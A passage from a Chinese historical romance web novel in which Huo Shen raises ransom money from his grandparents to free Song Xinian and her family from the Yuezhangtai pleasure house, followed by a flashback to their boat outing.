贺怜怜说:“说句实话,我觉得霍公子的办法是你目前最好的选择了,其实你也心知肚明不是吗?”
宋昔年默默流下泪水,说道:“是啊,可是我就是不甘心,我不甘心啊,姐姐!难道我是什么物件吗?由着他来挑合适的时机买走?”
贺怜怜说:“现在最要紧的是你全家脱困,旁的都不打紧的,你不甘心也得承认他确实是在为你考虑。”
宋昔年说:“是啊,他总是对的,他何时有错的时候!”
贺怜怜敲了宋昔年的额头,说道:“行了,别说气话了,我看得出,你对他还是有情的,他也是在乎你的,只是他嘴硬罢了。”
宋昔年反驳,说道:“姐姐,你根本不知他有多可恶!”
贺怜怜说:“我是不知他的可恶,我只知道如果现在有个人,肯为我赎身,娶我过门,我一定立马答应。”
贺怜怜羡慕地看着宋昔年,然后沉浸在幻想之中,她的表现好像在控诉宋昔年的身在福中不知福!
宋昔年不知道,如何回答,只能逃避性地起身,向贺怜怜伸手,将她也拉起来。
宋昔年说:“走吧,我们也耽误了不少时间了,再不回去只怕杜妈妈要派人来催了,姐姐的话。我会好好考虑的。”
二人出了雅间,回到了贺怜怜的房间,贺怜怜突然感觉虽然只隔了一条长廊,但两边犹如不同的世界,雅间里是朋友的真心实意,房间里是不同男人的花言巧语,她走过廊桥就要戴着面具做人了。
宋昔年也心不在焉,她其实刚听到霍慎想用这个方法救她时,心里的第一反应居然是欢喜的,证明了霍慎对他并不是无情的,或许当初他真的是逼不得已,有什么不能说的苦衷。但是她转念一想,自己被当众抛弃也是真的。她无法当作什么都没有发生。
当初霍慎的无所作为,仅凭他祖父的一句话就果断放弃自己。她清楚地记得婚礼现场,嘲笑她是弃妇的人笑得多开心,窃窃私语对她表示同情的人是用怎样的眼神看她。
她无法接受前一秒还在祝贺百年好合的人下一秒就能无情非议,她索性低头逃避这一切,不去面对众人的无情。
宋昔年二人并排走着丝毫没有察觉三楼杜妈妈对她们的观察,杜妈妈看着她们嘴角不自觉地扬起了意味不明的微笑。
46. 第 46 章
宋昔年昨晚为贺怜怜守夜,往日守夜她都会在门外小憩一会儿,可她昨夜彻夜未眠。
宋昔年能清楚地听见二人欢好的声音,这种情况一般很少出现的,可见,昨夜与贺怜怜同寝的公子是个折磨人的。
宋昔年不由得担心,若是自己依他所言,转了贱籍,他却没有信守承诺来替自己赎身,那自己会不会也落得如此下场?
宋昔年就这么睁着眼睛发呆,脑子一片空白。直到听见屋内贺怜怜叫她的名字。
宋昔年进屋,居然看见贺怜怜在亲自给那位公子更衣,通常这种事都是她们这些贴身婢女做的,也好叫她们从中捞点油水。
宋昔年只是快速看了一眼之后,就抱了床上被弄脏的铺盖出去了。
“你这贴身婢女倒是很识相!”
那公子由着贺怜怜给他更衣,眼睛随意扫了一眼低头出门的宋昔年。
“阿梦,向来是个知分寸的。”
贺怜怜轻声细语,眉眼含笑地看着眼前的男子。
宋昔年再进来时,他们也刚好穿戴完毕,男子伸了伸胳膊,往洗漱的区走,宋昔年先他一步把温度适中的热水倒入铜盆里。
男子梳洗时贺怜怜亲自递上漱口的盐水和擦脸的巾帕,显得十分温柔晓意。
宋昔年觉得今日的贺怜怜与往日很是不同,心中疑惑不解,但因不好当面询问,所以暂时作罢。
“我会信守承诺,你安心等我便好!”
男人在贺怜怜脸上亲了下,转身离去。
宋昔年见男人走了,便在远处观察贺怜怜,贺怜怜觉得好笑,便招手示意她近前说话。
“你别用这么奇怪的眼神瞧着我,想说什么就说吧!”
房内的炭盆烧得正旺,贺怜怜穿着寝衣,一点也不感觉冷,就如同此刻她的内心一样。
“姐姐这是怎么了,为何今日如此殷勤?对这位公子,不似对从前的那些人。”
贺怜怜拉着宋昔年来到床榻边上,打开床头的柜子,从里面拿出一个雕刻十分精美的桃木盒子,打开给宋昔年看。盒子里是摆放整齐的一张张千两银票,贺怜怜拿出银票在宋昔年面前晃了晃,五张轻飘飘的纸,却给贺怜怜带来了巨大震撼。
“这些是他昨晚给我的,加上这些,我已经攒够了自赎的钱,剩的钱也够我安稳度日了。”
贺怜怜笑得开心,她的笑很平淡,却带着强烈的满足和对未来生活的期待。宋昔年知道贺怜怜是真的开心。
“那真是太好了,姐姐也算熬出头了!”
贺怜怜一脸迷茫地说:“最让我想不到的事,他昨晚居然承诺要娶我,我不知该不该信?”
“什么?瞧着那公子样貌不差,肯给你五千两银子也算出手阔绰,这样的男人怎会没有妻室?”
“若是以往的那些男人,我也只当是玩笑听听算了,毕竟这些年说要娶我的没有十个也有八个了,也没什么稀奇的。可他偏偏给我这么多银子,说让我自己傍身用,我还真有些真假难辨了!我这种出身,自是不敢想做正室嫡妻的。”
贺怜怜苦笑着把东西放回原处,抬头看着宋昔年,想让她帮自己出个主意。
宋昔年无奈地看着贺怜怜,贺怜怜衣着宽松,身上青紫明显,宋昔年去衣柜里翻找药膏和避子的红色药丸拿给贺怜怜。
“姐姐快先擦药吧,瞧你这一身的伤,依我看那公子即使有万贯家财也不是个值得托付的,姐姐还是谨慎些好!”
贺怜怜有些羞恼地瞪着她,由着宋昔年给自己擦药。
“你还是个小丫头,你懂些什么,男女之事是这样的,我倒要瞧瞧将来霍家公子对你如何!”
“姐姐好端端地扯到他做什么?”
宋昔年倒了杯水把避子药递给贺怜怜,示意她吃下。
贺怜怜推开了宋昔年拿着药的手,只接过那杯茶慢慢喝着。
“这药就不吃了,他说了想要个孩子!我常年吃这药不知对受孕有没有影响?”
贺怜怜温柔地抚摸着小腹,面露担忧。
“姐姐知道他是谁吗?就要贸然给他生孩子?”
宋昔年很担心贺怜怜被骗,但她有不好真的阻止,心里还是期盼着,这个男人真的是贺怜怜的良人。
“他是城北方家的嫡子,已有正室嫡妻了。之前他也来过几次,每次出手都很大方。只是这次来说家里嫡妻去年生产坏了身子,不能再生,偏前头两个都是姑娘,所以才想让我给他添个男丁,放在嫡妻身边抚养,也好名正言顺的纳我为妾室。”
贺怜怜一边说着,一边挑着今日要穿的衣服。
宋昔年:“方家?我不认识!我回头请元安帮着打听一下,也好安心些。”
贺怜怜:“方家虽有些家财,但说到底也是普通富户,怎好和你们这些世家高官相提并论,你不认识他也是寻常。”
“可是,若这一切成真,姐姐当真舍得将自己的孩子交给别人抚养?”
宋昔年还是觉得有些不妥。
贺怜怜:“京城多的是这种情况,同在一个屋檐下,这也没什么的。或许这就是我最好的结局了。”
宋昔年低头掩饰眼里的悲伤,她希望轻易地向命运低头的人,会得到应有的善待。这里头自然也包含了她自己,此刻也是她内心最动摇的时候,她想要不自己就这么嫁给霍慎算了,起码霍慎应该不会把他们的孩子交给正室抚养。
贺怜怜:我们之前还说要一起进宫,找机会查找真相,现在又有可能一起出乐章台嫁人,我们的缘分还真是不浅啊!
贺怜怜拉着宋昔年的手感慨地说。
宋昔年仿佛直到今日才看清贺怜怜一样,知道她原来也是会渴望自己能够夫妻恩爱,儿女成群的。
贺怜怜见她发呆看着自己,以为她是累了,便催促宋昔年快点回去休息。
“瞧你眼底乌青,想必是没休息好吧,快去换了阿昙上来陪我,你回去休息吧!”
宋昔年回到下院,喊了阿昙,自己便回到了自家的院子。看见母亲的那一刻,她真的很委
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屈,想不明白为何他们一家会落到如此境地,她有点恨那高高在上,一句话就能轻易决定她们生死的人,她想有朝一日,等她洗清冤屈,她一定会毫不留情地指责‘上天不公,君王不仁’叫这天下人瞧瞧皇家的丑恶嘴脸。
她垂头丧气地走回自己房间,把自己的头埋在被子里,想把自己藏起来。
“是不是一夜未睡,累得狠了,我灶上一直煨着白粥,我给你盛一碗来,你吃了再睡吧。”
宋母轻轻拍着她的背,温柔地注视着闭着眼的宋昔年。
宋昔年突然睁眼,泪水从眼眶流出,向侧脸两边不停滑落,打湿了被子。
“娘,我该怎么选,太累了,你帮我选吧,我都听你的!”
宋母看见自己女儿这样,知道肯定是有事发生。
“出什么事了,你和娘说,我们一起想办法,没事的,没事的。”
宋母拉起宋昔年把她抱进怀里安慰,就像小时候她每次哭鼻子那样安慰。
在平复了情绪之后,宋昔年才把所有事情说给她们听,宋母和洪媛都是震惊中带着不解。
“霍慎这么做,他家长辈同意吗?”宋母直切要害。
宋昔年摇头表示不知。
洪媛思考之后认真地问宋昔年:“卿云,你自己是怎么想的,毕竟这关乎你的一生,还是要以你的想法为主的。”
宋昔年现在脑子很乱,根本无法思考。
“我也不知道,但从长远来看,他的方法是最好的。但是我……”
宋昔年欲言又止,最终还是决定先不告诉她们父亲被陷害的事和宫里有关,知道得越少,对于她们越好。
宋母看着宋昔年很难以启齿的样子,以为她还是没有放下霍慎悔婚这件事。
“卿云啊,霍慎能在此时,愿意提出娶了助你脱困,说明他对你还是有情的,当初他说不定是有苦衷的,若你也对他也还有情,那就不要在意之前的事了,人的一生很长的,若你学不会放下,以后会很辛苦的。”
宋母慈爱地摸着女儿姣好的脸庞,她实在不想宋昔年年纪轻轻,就在乐章台里空熬岁月,最后蹉跎一生。
“你以后就会明白,人生最后悔的就是相爱的人,不能在一起!”
洪媛神情落寞地对着她笑。
宋昔年知道洪媛这是感同身受的肺腑之言,便点头,表示自己明白了。
霍家府邸,此时也是人心不安,毕竟最看重他们家的皇上,已经走到了生命的终点,新帝登基后,也不知对他家是个什么态度,这让霍家大部分人都食不安寝。
霍慎这几日正在思考如何筹措帮宋家三人赎身的银子,他自己的私房加上宋昔年的私产还不到三万两。他从来不太看重金银俗物,但是他现在意识到自己是真的很穷,难怪从前宋昔年总说自己太穷,偷偷补贴自己。霍慎那时还心有不悦,觉得是宋昔年是爱慕虚荣。
“公子,你要我查的,我已经有消息了。”
阿无从外面回来,急切地和霍慎做汇报。
47. 第 47 章
霍慎转头用欣赏的眼光看向阿无,没想到他这次打探的速度这么快。
“这才一天,怎么会这么快,莫不是假消息吧?”
霍慎惊喜之后,难免担心有诈。
阿无本来还觉得这次霍慎会夸他,觉得他办事得力,多少会有点赏赐的,但是听霍慎这么一说心里也开始怀疑,担心自己闯下祸事。
“不,不会吧,我也是去买芙蓉糕时,碰到出宫采买的小太监,听他们说的,我当时背对着他们听见的,他们应该不知道有人在偷听才对啊。”
阿无烦躁地摸着颈项思考,在屋里不停走动,嘴里不断嘀咕着什么。
霍慎看他着急,心想自己刚才还觉得他得用,现在就立马慌了阵脚,乱了方寸,霍慎觉得自己还是太高估阿无了。
“别转了,我都被你绕晕了,我也只是瞎猜的,也许真的只是你运气好,恰巧听来的呢!本来也只是一句‘黄内侍,从前就很爱吃芙蓉糕’而已。”
霍慎安抚躁动不安的阿无,吩咐他去前头看看霍岩在不在家!
霍慎眉头紧锁,好看的桃花眼微眯。
“从前吗?”
阿无回来禀报说霍岩和霍恒真在前厅,霍慎也朝前厅去了。他决定还是直接问霍岩比较好。他现在没有多余的时间浪费在这个问题上。
霍慎到了前厅,看见祖孙二人,正在讨论着什么。时而表情严肃,时而双方会心一笑,气氛还算不错。
霍恒看见霍慎来了,笑着示意他坐下。
“我正打算派人去寻你,你就自己来了,我和祖父正聊到太子,你也听听吧。”
霍慎听了一会,知道他们是在谈论如果新帝登基,新老旧臣的职位官爵是否会有大的变动,他们更在意的是霍家能否平安地功成身退,毕竟现在霍家是处在旋涡的中心,将来很有可能会成为众矢之的。
“祖父,不必担心,朝野上下都知道您并无做权臣的心思,您又何必杞人忧天呢!现在最重要的是确定皇上还会不会有什么事情未了结,避免以后需要处理不必要的事。”
霍岩思考一下,问道“你何出此言啊?”
霍岩觉得自己有点看不清这个孙子了,他经常会语出惊人。霍岩有时候甚至怀疑自己是不是自己真的老了,跟不上他们这些年轻人的思路了。
霍慎:“比起满朝文武的嫉妒,帝王的猜忌才是最可怕的。若是皇上有什么事没有在太子那过名路,却又是您处理的,将来帝王初登宝座,会不会反过来觉得您是越俎代庖?”
霍恒突然用欣慰的眼神看着他这个四弟,他一直觉得霍慎性情冷傲。自己总是觉得几个兄弟中只有四弟和他们之间透露着隐隐的疏离感,后来又出了宋家的事,其实霍家是间接拆散他们的凶手,这是整个霍家供认不讳的事实。
“四弟说的我是赞同的,若是将来圣上不在了,我们家在太子那就与一般臣子无异,若是再让他对我们家产生猜忌,这可不是什么好事。”
“是啊,帝王最忌讳的就是功高盖主,我怎么给忘了,宋家不就是个很好的例子嘛!”
霍岩苍老的声音中透着无力和疲惫,他们都很有默契地遗忘这件事,是因为他们不赞同皇帝的做法,却无法改变。不想承认自己曾经的隔岸观火和自己心底深处对宋家的愧疚。
“我想问祖父一件事,还请祖父知无不言,言无不尽,如实相告。”
霍慎不想再等,自己主动开口询问。
霍岩看着霍慎冷峻的脸,他知道此事八成和宋家那丫头有关。
“你说说看吧,是什么事?”
霍慎看了一眼坐在对面的霍恒。有些不好意思,在大哥面前询问祖父的人际往来。
霍恒戏谑地看着霍慎,不知他怎么突然如此踌躇。
“你如此难以启齿,我可要回避一下,好让你畅所欲言?”
“我好似在大哥语气中,听出了调侃之意,为难的并不是我,大哥的好意怕是用错人了!”
霍慎习惯性地出言反击,带着坏笑看向坐在主位的霍岩。
“有什么就快说,打什么哑谜,你们都瞧着我做什么?”
霍岩被两个孙子盯得尴尬,有点莫名恼火,出言训斥他们。
霍慎也不敢太放肆,脱口而出的话,让在场的二人立马气得跳脚。
霍慎:“祖父,您和乐章台的杜妈妈熟吗?可有旧交?”
霍恒:勤之你放肆,怎好这么质问长辈?
霍岩:你怎么突然问这个?
霍慎没想到霍岩的第一反应居然是反问,霍慎可以确定他的祖父一定认识杜妈妈,有可能还知道有些他们都不知道的秘密。
“看祖父的反应,祖父一定认识杜妈妈了,那您知道黄内侍和杜妈妈的是什么关系吗?”
霍岩越听越不对劲,苍老的脸上那一道道沟壑,随着他面部表情的变化也变得越来越深了。那浑浊有神的双眼看着霍慎,不怒自威,压迫感十足。
“祖父,莫恼,我也是昨天陪着小侯爷去了乐章台,偶然发现圣上贴身的黄内侍,带人去了乐章台,一时猜不出他的目的,所以才来请教您的。”
霍慎在霍岩的气势压迫下还是老实交代了所有事情。
霍岩吃惊地问霍慎
“你确定没有看错?”
“身穿红缎银丝绣线蟒袍的,手拿御赐金杖拂尘,我不会看错的!”
看霍慎描述得这么详细,霍岩也不再隐瞒。
“他们俩是结拜的异姓兄妹,可能只是单纯叙旧而已!”
霍岩端起茶杯,想掩饰自己的尴尬和心虚。
霍慎知道祖父是在敷衍自己,肯定还有一些自己不知道的事,只是他不想和自己说而已。霍慎也不强求只要不影响到宋昔年,他是不会刨根究底的。
“祖父您知道,宫里准备要扩充宫婢吗?”
霍慎不想放弃这个难得摊牌的好机会,继续追问霍岩。
“这和我们这种前朝的臣子没有关系吧,这是后宫内务,也许是内务府的管事出了岔子,补上就行了,从前也有过的,不是什么大事。”
霍岩冷淡地说着,好像一点都不在乎这件事。
霍恒敏锐地察觉到了,霍慎话中的
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含义。
霍恒:“若是要扩充,会不会优先在罚没的官奴里选,那宋家的女眷都要进宫?”
霍慎突然整个人变得很阴郁,有种无法言语的情绪。似无奈,似悲伤,似焦虑,这种感觉很复杂,但霍慎很快又把这些都收起来了。
“是啊,所以我们都在想办法帮她脱困,如果她们真的进了宫,只怕结果不会好!”
霍慎此刻这么说,带有试探的意思,他想看看自己祖父的反应,从而判断自己下一步的计划该怎么走。
不出所料,霍岩开口询问霍慎。
“你们?也就是说,你也打算参与这件事?你打算如何参与?”
面对霍岩的好几个疑问,霍慎显得十分有把握应对,有理有据地回答,似乎这件事没有一点难度一样。
“你不怨我?”
一句话仿佛回到了,去年的成亲当天,霍岩也是如此从容地看着霍慎。
一句“你不怨我?”就决定了他们之间的结局,再也没有转圜的余地。
霍慎是怨霍岩的,但这也是他自己的选择,他更怨自己,他现在只想找机会弥补。
“祖父之前不是说,想要弥补宋家人嘛,我现在就是在替霍家弥补啊!”
霍慎见霍岩只是震惊地看着自己,没有回答霍慎的问题,霍慎大义凛然地继续说。
当初霍岩也是同样的四个字问霍慎,他实在没想到霍慎会说出这句话,这句话也是对那四个字的回应。
霍岩这次妥协了,他不想第三次错过救宋家的机会。
“你已经有办法了吧,不然你也不会这么着急地和我点破此事,对吧!你想做就做吧,有什么困难就直说吧。”
“我想娶她过门!先要替她赎身,赎身的银钱现在还不够。”
霍慎终于说到了重点,现在他就是在等着霍岩的回答,就如同他说任凭霍岩做主时一样,霍慎又陷入了既期待又害怕的失望的循环,这种感觉就像把他放在温水里慢慢炖煮,很是让人煎熬。
“既然你如今想要娶她,为何当初又要看着她被带走?”
霍慎没有想到先开口的居然是自己的大哥,作为祖父的霍岩始终保持沉默,一言不发。
“我当时觉得不是最好的时机,如今虽说时机也不算好,但是已经由不得我再等了!”
霍慎这么说,也是间接表明了自己的态度和娶宋昔年的决心。
霍恒摇头,表示他不理解霍慎的做法。
之后便是进入长久的沉默期,大厅里落针可闻。
最后霍慎看了二人一眼,说道“既然祖父没有什么言语,我就当您是默认我的做法了!”
霍慎转身就走,却因为霍岩的一句话愣在了原地
“你若能说服宋昔年嫁给你,我自然不会反对,只是不能走公中的账,我会拿出我的私房给你替她赎身。”
霍慎还没来得及道谢,霍岩又说“我忘了告诉你,乐章台从来都是易进难出的!”
“祖父,你到底还知道些什么?”
霍慎探究地看着这个已经是花甲之年的祖父。
48. 第 48 章
霍慎这几日发现他在翰林院处理归档的奏疏中,现在大多是太子在处理,前几日还听说给皇上做的寿衣等物品都已经基本完工。这几日霍岩被召进宫的次数越来越频繁了,在宫里待的时间也是越来越久。
经过霍慎的提醒,霍岩每次被召进宫,都会请太子陪同,说是要太子多听听,好以后知道怎么掌局理事,也好让太子在皇上面前,再尽一份心力,是身为人子该有的孝道。
霍慎这几日一直都没能好好睡一觉,他总是凑不够要帮宋家女眷赎身的钱。
霍岩的私房只有两万,他自己能动的现银只拼凑出了一万,其中还是典卖了些帮宋昔年置办的产业,王靖宇和蒋明为了避人耳目,每个人只能拿出一万,顾良辰准备在京城扎根,手上的现银大部分都在货物里,但也送来了一万两,东拼西凑最终只有六万,半数都没到。
霍慎从没觉得自己这么无用过,若是别的事情,自己还可以用手段智取一下,但是面对明码标价的乐章台,霍慎这次真的无计可施了。
霍慎正在书房苦思冥想,阿无端着托盘悄声进入,大气不敢出。
阿无把东西放在桌上,低头看了看托盘里顾渝叫人送来的东西,又抬头看看,皱紧眉头的霍慎,阿无看着日渐消瘦的霍慎,实在不忍心。
“公子,为何不去找二夫人?霍家最有钱的恐怕只有二夫人了,况且她又是您亲祖母。若是公子开口相求,她肯定不会冷眼旁观的。”
阿无小心翼翼地说着自己的想法。
霍慎听到之后,缓缓抬头,紧皱的眉头瞬间舒展,暗淡的双眸,重新有了光彩。一言不发的朝含羞居去了。
阿无欲言又止地跟在霍慎身后,最终还是没有开口,小跑着走到霍慎前面,提着灯为他照亮漆黑的前路。
今夜暗无星光,仿佛是在预设着什么,突然阿无提着灯,小跑到霍慎前面,霍慎看见那灯笼里的微弱烛火,又有了向前走的勇气。他觉得只要有一丝希望他都不会轻易放弃,就像现在即使烛火微亮,他也还是能继续前行。
霍慎到了含羞居院子外,居然发现院门是开着的,外面还站了一个提灯等候的婆子。
那婆子见了他来,迎着他走了几步,使他更能看清脚下的路。
“四公子,您可来了,现下夫人还没睡,你快些进去吧!”
那婆子向他屈膝行礼,穿着十分厚实,还特意戴了耳衣,显然在这里等了自己不短的时间了。
进屋之后,顾渝已经开始在卸头上的钗环了,没了一身华丽的外物,顾渝显得清爽了许多,给人的感觉也更加温和了。
“我还以为你今晚也不会来了呢!”
顾渝瞧着消瘦许多的霍慎,最终也只是给了他一个白眼。
“祖母,等了我好几天吗?”
霍慎也是头一次,在顾渝面前感觉到羞愧和局促,只是站在那里并未坐下,此刻他就像是犯了错的小孩子一样,在等着顾渝的训斥。
“嗯~是有几天了,我还以为你第一时间就会来找我,我就每天盼啊等啊,把我头发都快熬白了!”
顾渝绘声绘色地抱怨着,诉说着自己有多希望他能来找自己、
霍慎被顾渝那生动的表演逗笑了,主动上前搀扶顾渝坐在八仙桌旁。
“你这一点倒是和你爹很像,骗我钱的时候都是一样的殷勤,但是你爹比你聪明很多,他知道出了事,第一时间来找我。不像你,恨不得叫人觍着脸去上门帮你。”
霍慎被说得不好意思了,反驳道:“我这不是来了嘛,祖母就别再挖苦我了!”
这是霍慎长这么大第一次在人面前讨饶,就连在自己母亲面前也不曾有过的。
“你吃晚饭了吗?”
霍慎很是意外,他以为按照顾渝的性子会直接问他需要多少钱,然后大手一挥打发他走。
顾渝看着霍慎盯着自己出神,就用手在他眼前晃了晃,试图唤醒他。
顾渝:“怎么是不是被我的美貌震惊住了,想当年我的美貌也是远近闻名的,追我的人也是要排长队的。”
顾渝很是骄傲地在霍慎面前,说着自己年轻时候的事。
霍慎在想将来宋昔年会不会也到老了和孙子们说起自己年轻时候的往事,到那时她会是什么反应。
顾渝再唤霍慎时,他的面前已经多了一碗热腾腾的小馄饨了。顾渝催促着霍慎快吃,时间久了馄饨会不好吃。
“等你吃完了,我们再慢慢聊!”
顾渝看着满脸疲惫的霍慎,忍不住说道:“何苦这么折磨自己,再睡一觉的时间还是要有的。”
“我也很想睡,但我睡不着!”
一句话道尽了所有的辛酸和苦楚。
“看来你是很喜欢宋家的丫头!”
“我只是不想欠她更多而已!”
霍慎嘴硬地回答,他不想任何人觉得他是后悔的,包括他自己在内。
顾渝早就看穿了霍慎,嘴硬是他们霍家的传统,顾渝已经习惯了。
“有些事,早点认清比较好,否则最后受伤的肯定还是你自己。”
顾渝点到为止的,不再戳穿霍慎,顾渝深知现在挑破霍慎不是一件好事。
“说吧,还差多少?”
顾渝主动开口问霍慎,她知道霍慎肯定不好意思主动先聊这个话题。
“还差九万两!”
顾渝悠哉哉的欣赏自己新做的蔻丹,在听见霍慎说出的数字时,前一秒反复翻转便于自我欣赏的手,下一秒僵在半空。顾渝表情不自然地看向霍慎。
“你在跟我开玩笑吗?宋家那丫头这么贵?我到时小看她了,你瞧吧,你不珍惜的有人替你珍惜,如今到了别人手里价钱这么高。”
顾渝对着霍慎劈头盖脸地数落个没完。
“祖母,宋家三人的赎身价,我只凑了六万两,还差九万两,我就可以拿着钱去把人带回来了,您这能借我多少?”
霍慎忐忑地等着顾渝的答案。
“我只能拿出五万现银,再多的短时间拿不出来,而且我总要给自己留下点傍身钱和棺材本。当初你若是直接迎了她进门多好,现在又要花钱去把她赎回来。你真
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是自找苦吃!”
顾渝现在真的觉得霍慎是活该的,她觉得这就是现世报,顾渝在心里腹诽自己的亲孙子。
霍慎不敢在顾渝面前解释什么,他还是有点清楚顾渝的性子的,顾渝最不喜欢别人和她讲道理。
见霍慎长久不语,顾渝以为霍慎是知错了,顾渝长叹一口气,说道:“那加起来还差四万两,你打算如何去凑?”
“总会在想到办法的,祖母果然是霍家最有钱的人!”
霍慎虽然心情低落但还是配合地恭维了顾渝几句。
“你从前就是太不拿钱当回事了,就和我那不争气的儿子一样。我现在还在,你们可以清高,不用为银钱发愁,但我总有一天会老的,那到时候你们该怎么办,你想过没有?”
顾渝语重心长地和霍慎说着,全然忘记了她自己已经是快步入花甲的年纪。
“此事了结之后,我一定努力成为您和父母的最好的依靠让你们都能安享晚年!”
霍慎在顾渝面前保证,他也从此刻才意识到,顾渝不像表面看到的那么荒唐,只是自己从前没有真正地了解过她。
霍慎突然发现自己好像也不怎么了解自己的父母,反思到此处,他觉得自己对自己身边的亲人都太忽视了。
“我要的从来都不是你的保证,你要知道誓言是这个世上最不可信的东西。”
顾渝不知道要怎么和霍慎说,索性又转换了话题。
“你确定只要你想赎人,宋家的人就会和你走?你之前可是抛弃过她一次的,你觉得她还会信你吗?”
顾渝轻飘飘问出了最沉重的话,这个问题霍慎自己没有认真去想过,因为霍慎很害怕真实的答案与他自己心中的答案不符。所以霍慎选择了逃避,可是现在面对已经问出口的问题,霍慎在也没有办法去逃避。
霍慎只能硬邦邦地回答:“她没得选,这是她最好的选择,也是她唯一的选择!”
顾渝听了霍慎的回答,她都要嫌弃死这个孙子了,她觉得如果霍慎不是自己的亲孙子,自己一定立马把他赶出自己的院子,多看霍慎一秒都会觉得他讨厌。
“你在说什么鬼话?我之前早就告诉过你,不是她没得选,而是你没得选!你怎么总是不明白如果她不原谅你,你为她做再多又有什么意义?”
顾渝有些恼怒地说着,最后语气中居然充满了嘲笑。
霍慎闻言并没有生气,而是带了许多迷茫和不解地问顾渝。
“难道她不知道,我替她安排的就是最好的吗?”
顾渝:“当初抛弃她的也是你,你难道忘了?如果你被人骗了,下次还会像第一次那么相信那个骗子吗?你不会担心再被骗?不管你是什么样的出发点,但是你抛弃她这就是不争的事实。”
霍慎很想再为自己辩解,却又不得不承认顾渝的话是对的。
“你现在最该做的是解开她对你的心结,获得她的原谅,之后才能顺利带人出来。毕竟你们以后是要相守一生的!”
顾渝很有感触地和霍慎说,表情里透着让人无法忽视的认真。
49. 第 49 章
霍慎在顾渝那算是吃了一颗定心丸,霍慎躺在床上反思今晚顾渝和他说的话,霍慎不确定宋昔年会不会原谅自己。在他的记忆里宋昔年好像没有和自己闹过脾气,总是习惯性地在讨好自己。
霍慎想到那次自己主动邀约宋昔年游湖,时值秋天,气候宜人,二人泛舟湖上十分惬意!
霍慎主动揽下了划船的活计,他们相对而坐,宋昔年微微仰头,尽情地呼吸新鲜的空气,那一刻霍慎从宋昔年的身上看见了什么是自由,霍慎觉得此生没有任何东西能束缚住眼前的这个女孩。
“勤之,今天的风真的让人好舒服,就连空气格外的清新!”
宋昔年展开双臂,闭眼享受,完全沉浸其中。
霍慎划着船,注视着对面如鸟一般,自由的宋昔年,霍慎眼中满是对她的喜欢,霍慎甚至希望时间能永远停留在当下。
宋昔年突如其来的对视让霍慎不知所措,下意识地就想要回避,收起对她所有的喜欢,但是就在对视的一刹那宋昔年还是看见了霍慎眼中的爱意,虽然它一闪而过,但是这足够让原本就爱慕霍慎的宋昔年得到她想要的满足。
宋昔年兴奋地起身,小心翼翼地靠近霍慎,想要离他近些。
“你这样很危险,快坐下!”
霍慎看着宋昔年大胆的动作,出言劝阻。
宋昔年从未在霍慎脸上看到过这种表情,从前霍慎总是冷冰冰,要不就是一副无奈的样子。这是宋昔年第一次从他冷峻的脸上看见对自己的紧张。这让宋昔年很是欣喜,于是,她起了逗弄霍慎的心思。
宋昔年的动作越来越大胆,她挪到了霍慎面前蹲下,眨着眼睛问霍慎
“你刚刚是在担心我!”
宋昔年笃定地说,她认真地观察霍慎脸上每一个细微的表情,想从中得到答案,她无需霍慎的回答。
霍慎紧抿着唇,心虚地移开了视线,霍慎觉得宋昔年看向自己的眼神太炙热了。让他不知怎会回应。
在霍慎心里感情不需要太浓烈,只需长久便好,但是宋昔年给他的爱意实在是明显和浓烈,这就导致了霍慎不知如何去回应这份爱意。
霍家从小教育霍慎要言行有度地对人,要处变不惊地对事,所以霍慎从小就学会了克制。他要克制自己的一切,才能做到长辈们说的世家子弟该有的样子。擅长克制。习惯掌控一切的霍慎,遇到了宋昔年就是他此生最大的变数。
“别闹了,现在是在湖里,你若不想游湖,我们现在可以回去的,你先老实坐回去!”
霍慎最终还是耐心解释扯开了话题,没有正面回应宋昔年的问题。
宋昔年此刻正在兴头上,怎会听霍慎的,她快速站起,自己还假装没有站稳踉跄了一下,整个人向后倒去。吓得霍慎放开船桨,想要伸手去扶宋昔年。
宋昔年的目的达到了,于是开心地放声大笑。
“哈哈哈,瞧你紧张的样子,我骗你的!”
宋昔年在霍慎面前手舞足蹈的,放肆极了,仿佛是在嘲笑霍慎的杞人忧天。
突然一阵风吹来,使得平静的湖面泛起了涟漪,让原本平稳的小舟左右摇晃。
站在船上的宋昔年,失去了所有平衡,向后快速倒去。电光石火之间,霍慎拉住了宋昔年的手,把她往自己的方向拉。
等到反应过来时,宋昔年已经整个人压在了霍慎的身上。两人姿势尴尬,宋昔年能清楚地听见霍慎的心跳声。宋昔年悄悄抬头去看剩下之人的脸色,霍慎的脸色此刻已经是黑如锅底了。宋昔年意识到霍慎可能很不高兴了,想要起身,却被霍慎单手环抱住腰肢,不再让她起身。
湖面上的一叶小舟,随着湖水的荡漾左右摇晃,就如现在心潮荡漾的宋昔年一样。
宋昔年带着窃喜安静地保持着这个姿势,她的侧脸贴在霍慎的胸膛上,她能明显地听见霍慎的心跳。宋昔年从未想过,表面稳重的霍慎,心跳居然也会有杂乱无序的时候,宋昔年自私地希望湖面不要这么快归于平静。
霍慎的手附在宋昔年纤细的腰肢上,他不知女子的腰居然这么窄,窄到他的一只手掌完全可以覆盖住。他现在心神纷乱,只希望湖面能快速平稳,他想立马上岸。
待二人回到岸上,霍慎快速停稳船只,自己率先下船,宋昔年知道霍慎是在生气,自己小跑地追在霍慎后面。
“你别走那么快,等等我!”
霍慎始终没有停下脚步,沉默地往前走。
“我的脚好痛啊,可能是刚才在船上不小心扭到了,我走不动了。”
宋昔年停下脚步,蹲在原地,假装在查看伤势。
霍慎回头看见宋昔年蹲在那,他担心宋昔年是真的受伤了,于是折返回去扶起宋昔年,自己蹲下亲自帮忙查看伤势。
霍慎低头认真看着宋昔年的脚,没有看见宋昔年笑得有多开心,霍慎都准备帮她脱下鞋袜仔细检查一番了,宋昔年却笑出了声。
霍慎才发现自己被骗了,深吸一口气,压制住自己的情绪,站起身盯着宋昔年。
宋昔年被他盯得心虚,下意识地低下了头。
霍慎见她这样,转身想走,宋昔年却抢先一步拦在霍慎前面,不让他走。
霍慎避开宋昔年,准备从它身侧穿过,宋昔年眼见挡不住,就一下扑到霍慎的身上,顺势抱住了霍慎的腰。
“哎呀,我知道错了,你别生气了,好不好?”
宋昔年抱着霍慎撒娇说道。
霍慎没有想到宋昔年大庭广众的会抱着自己撒娇,虽然说这不是她第一次当众抱自己,但是醉仙楼那次宋昔年是醉酒胡来,这次宋昔年是清醒的,这两者的性质是不一样的。
今日天气很好,也是有许多人出来游玩的,此刻远处也有不少人朝他们这边看过来。开始小声议论他们,可宋昔年全然不顾,她现在只想让霍慎消气。
